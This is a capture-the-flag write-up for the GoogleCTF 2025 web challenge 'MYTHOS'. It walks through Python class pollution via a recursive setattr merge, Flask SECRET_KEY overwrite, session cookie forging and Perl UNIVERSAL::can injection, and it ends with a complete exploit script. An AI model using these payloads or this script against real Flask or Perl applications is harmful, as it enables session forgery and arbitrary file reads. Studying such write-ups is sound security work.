MYTHOS
MYTHOS
Platform: GoogleCTF2025 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-09 | Status: Solved Techniques: python_class_pollution_via_recursive_setattr, flask_secret_key_overwrite, flask_session_cookie_forging, perl_glob_assignment_namespace_injection, universal_can_override, item_delegate_arbitrary_file_read
Summary
Task: Python Flask + Perl Dancer2 text-adventure game with recursive deep merge (class pollution), session forging, and Perl namespace injection. Solution: Overwrite Flask SECRET_KEY via class.init.globals traversal, forge session with crafted items payload, inject UNIVERSAL::can override to trigger arbitrary file read of flag.txt.
MYTHOS — GoogleCTF 2025
Description
Legends tell of a far away kingdom in a far away land, of a far away guardian and a far away princess. Explore the myth at your leisure.
A text-adventure game with a dual-language architecture: a Python Flask frontend (port 1337) serves HTML and manages sessions, while a Perl Dancer2 backend (port 1338, internal only) handles game logic, inventory, and holds the flag at ./flag.txt. The player explores a castle, collects 4 items (mermaid_scale, angels_scarf, mew_plaque, mimic_gem), and reaches the throne room (event 20) where the Perl backend deserializes the inventory to check completion.
The challenge requires a 3-stage exploit chain crossing both language runtimes: Python class pollution → Flask session forging → Perl namespace injection for arbitrary file read.
Analysis
Architecture Overview
Python Frontend (app.py):
- Flask app with a random
SECRET_KEYgenerated at startup session["items"]stores collected items as JSON-encodedbytes/playPOST sendsb64encode(session["items"])to the Perl backend/scorePOST callscopy(request.json, score)— a recursive deep merge
Perl Backend (Mythos.pm):
- Dancer2 app with JSON serializer
- At event 20, deserializes the base64-decoded items JSON via
copyItems() copyItems()has a dangerous branch that callssetAttribute()withno strict 'refs'and glob assignment$game_artifactscontains a CODE refitem_delegatethat reads files viaread_file()Inventory::hasAllItems()checks for all 4 required items
Vulnerability 1: Python Class Pollution via copy()
The copy() function in util.py is a recursive deep merge using setattr:
python read-only • copy alloweddef copy(src, dst): for k, v in src.items(): if hasattr(dst, "__getitem__"): if dst.get(k) and type(v) == dict: copy(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: copy(v, getattr(dst, k)) else: setattr(dst, k, v)
When dst is a ScoreSubmission object (no __getitem__), the second branch triggers: if dst has attribute k and v is a dict, it recurses into getattr(dst, k). This allows traversal through Python's object model:
ScoreSubmissionhas__class__→ recurse into the class object- Class has
__init__→ recurse into the constructor function - Function has
__globals__→ recurse into the module's global namespace (a dict) - Module globals contain
app(Flask instance) →app.configis a dict subclass config["SECRET_KEY"]can be overwritten
The key insight: when recursion reaches __globals__ (a dict), it has __getitem__, so the first branch takes over and uses dst[k] = v for direct dict assignment — allowing us to write into the Flask app's config.
Vulnerability 2: Perl Namespace Injection via setAttribute()
In Mythos.pm, the setAttribute() function uses glob assignment with no strict 'refs':
perl read-only • copy allowedsub setAttribute { my $dst = shift; my $key_name = shift; my $value_ref = shift; no strict 'refs'; *{"$dst"."::$key_name"} = $value_ref; use strict 'refs'; return 1; }
The copyItems() function calls setAttribute() when processing a key not present in the Inventory object whose value is a HASH ref (Case 2b):
perl read-only • copy allowed} elsif (!defined $dst->{$key}) { if (ref $src->{$key} ne 'HASH') { $dst->{$key} = $src->{$key}; } else { foreach my $inner_key (keys %{$src->{$key}}) { my $index = $src->{$key}->{$inner_key}; setAttribute($key, $inner_key, $game_artifacts->{$index}); } } }
When items contain "UNIVERSAL": {"can": "item_delegate"}:
- Key
"UNIVERSAL"is not defined in the Inventory object → Case 2b - Value is a HASH → iterate inner keys
setAttribute("UNIVERSAL", "can", $game_artifacts->{"item_delegate"})is called$game_artifacts->{"item_delegate"}is a CODE ref (subroutine)*{"UNIVERSAL::can"} = CODE_REF— overrides Perl's built-inUNIVERSAL::canmethod!
Vulnerability 3: item_delegate Reads Arbitrary Files
The item_delegate subroutine reads files based on desc_filename:
perl read-only • copy alloweditem_delegate => sub { my $obj = shift; if (defined $obj->{desc_filename}) { $obj->{desc} = read_file($obj->{desc_filename}); return { name=>$obj->{name}, desc=>$obj->{desc} }; } return $obj; },
The Trigger: Event 20 Logic
At event 20, the Perl backend runs:
perl read-only • copy allowedif ($game->{inventory}->can("hasAllItems")) { if ($game->{inventory}->hasAllItems($game_artifacts) == 1) { $next_ev = $all_events->{21}; # good ending } }
After our UNIVERSAL::can override:
$game->{inventory}->can("hasAllItems")callsitem_delegate($inventory, "hasAllItems")$obj = $inventory(the Inventory blessed hashref)$inventory->{desc_filename}is"./flag.txt"(from our payload)read_file("./flag.txt")reads the flag into$inventory->{desc}- Returns a truthy hash ref → the
ifcondition passes $inventory->hasAllItems($game_artifacts)is called via normal Perl method dispatch (MRO, NOTcan()), findsInventory::hasAllItems, verifies all 4 items exist → returns 1
The response includes ALL inventory keys (lines 158-162), including desc which now contains the flag.
Critical insight: Perl method dispatch (->method()) does NOT use UNIVERSAL::can — it uses the MRO directly. So overriding can doesn't break ->hasAllItems(). The JSON serializer also doesn't call can() on unblessed hash refs, so the response serialization works normally.
Solution
Stage 1: Navigate to Event 19
Play through the game to reach the Guardians (event 19), one step before the throne room trigger:
Event 0 → choice 0 → Event 9 (Ballroom)
Event 9 → choice 0 → Event 18 (Throne Room)
Event 18 → choice 0 → Event 19 (Guardians)
Stage 2: Python Class Pollution to Overwrite SECRET_KEY
Send a crafted JSON to /score that traverses __class__.__init__.__globals__ to reach the Flask app's config:
json read-only • copy allowed{ "__class__": { "__init__": { "__globals__": { "app": { "config": { "SECRET_KEY": "HACKED_SECRET_KEY_12345" } } } } } }
Stage 3: Forge Flask Session with Crafted Items
With the known SECRET_KEY, decode the current session cookie, replace session["items"] with bytes containing our Perl exploit payload, and re-sign:
json read-only • copy allowed{ "desc_filename": "./flag.txt", "name": "flag", "mermaid_scale": 1, "angels_scarf": 1, "mew_plaque": 1, "mimic_gem": 1, "UNIVERSAL": {"can": "item_delegate"} }
The items must be Python bytes (not str) because /play calls b64encode(session["items"]). Flask's TaggedJSONSerializer preserves bytes via {" b": base64_string} encoding.
Stage 4: Trigger Event 20 and Extract Flag
POST /play with choice=0 using the forged session. The Perl backend deserializes our crafted items, overrides UNIVERSAL::can, reads flag.txt, and includes the flag in the response. Decode the response session cookie to extract session["game"]["items"]["desc"].
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ MYTHOS - GoogleCTF 2025 Exploit 3-stage: Python class pollution -> Flask session forging -> Perl namespace injection """ import requests import json import sys import re from base64 import b64encode from urllib.parse import urlparse TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:1337" KNOWN_SECRET = "HACKED_SECRET_KEY_12345" def get_session_serializer(secret_key): from flask import Flask from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer from flask.json.tag import TaggedJSONSerializer si = SecureCookieSessionInterface() return URLSafeTimedSerializer( secret_key, salt=si.salt, serializer=TaggedJSONSerializer(), signer_kwargs=dict( key_derivation=si.key_derivation, digest_method=si.digest_method, ), ) def decode_session(cookie_value, secret_key): serializer = get_session_serializer(secret_key) return serializer.loads(cookie_value) def encode_session(session_data, secret_key): serializer = get_session_serializer(secret_key) return serializer.dumps(session_data) def find_flags(text): return re.findall(r'CTF\{[^}]+\}', text) s = requests.Session() # Step 1: Init game r = s.get(f"{TARGET}/") # Step 2: Navigate to event 19 (Guardians) for choice, desc in [("0", "0->9"), ("0", "9->18"), ("0", "18->19")]: r = s.post(f"{TARGET}/play", json={"choice": choice}) # Step 3: Class pollution to overwrite SECRET_KEY pollution = { "__class__": { "__init__": { "__globals__": { "app": { "config": { "SECRET_KEY": KNOWN_SECRET } } } } } } r = s.post(f"{TARGET}/score", json=pollution) # Step 4: Get cookie signed with new key and decode it r = s.get(f"{TARGET}/play") session_cookie = s.cookies.get("session") session_data = decode_session(session_cookie, KNOWN_SECRET) # Step 5: Forge session with crafted Perl exploit payload perl_payload = { "desc_filename": "./flag.txt", "name": "flag", "mermaid_scale": 1, "angels_scarf": 1, "mew_plaque": 1, "mimic_gem": 1, "UNIVERSAL": {"can": "item_delegate"} } # Must be bytes for b64encode() in /play handler session_data["items"] = json.dumps(perl_payload).encode() forged_cookie = encode_session(session_data, KNOWN_SECRET) # Set forged cookie s.cookies.clear() parsed = urlparse(TARGET) s.cookies.set("session", forged_cookie, domain=parsed.hostname, path="/") # Step 6: Trigger event 20 r = s.post(f"{TARGET}/play", json={"choice": "0"}) # Step 7: Extract flag from session session_cookie = s.cookies.get("session") session_data = decode_session(session_cookie, KNOWN_SECRET) items = session_data.get("game", {}).get("items", {}) flags = find_flags(json.dumps(items, default=str)) for f in flags: print(f"FLAG: {f}")